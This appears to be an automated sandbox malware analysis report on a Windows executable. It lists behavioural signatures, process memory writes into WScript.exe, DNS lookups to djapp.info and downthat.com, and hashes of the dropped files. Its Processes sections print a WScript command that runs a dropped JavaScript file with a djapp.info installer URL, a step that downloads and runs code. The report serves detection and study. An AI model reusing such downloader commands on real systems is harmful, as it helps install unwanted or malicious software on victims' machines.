Malware Analysis Report

2024-10-10 08:17

Sample ID 240613-177vxswenn
Target a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118
SHA256 1961cb7aa7879867d655d0019e8996faebac545fa9ddd1d2e8ab17df6cf558fa
Tags
execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

1961cb7aa7879867d655d0019e8996faebac545fa9ddd1d2e8ab17df6cf558fa

Threat Level: Shows suspicious behavior

The file a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118 was found to be: Shows suspicious behavior.

Malicious Activity Summary

execution

Checks computer location settings

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Unsigned PE

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 22:18

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 22:18

Reported

2024-06-13 22:21

Platform

win10v2004-20240508-en

Max time kernel

147s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4144 wrote to memory of 3432 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 3432 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 3432 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 4460 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 4460 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 4460 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 880 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 880 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 880 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 1368 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 1368 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 4144 wrote to memory of 1368 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf5D33.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 22:18

Reported

2024-06-13 22:21

Platform

win7-20240419-en

Max time kernel

144s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2128 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 1176 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 1176 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 1176 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2128 wrote to memory of 1176 N/A C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf1C28.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76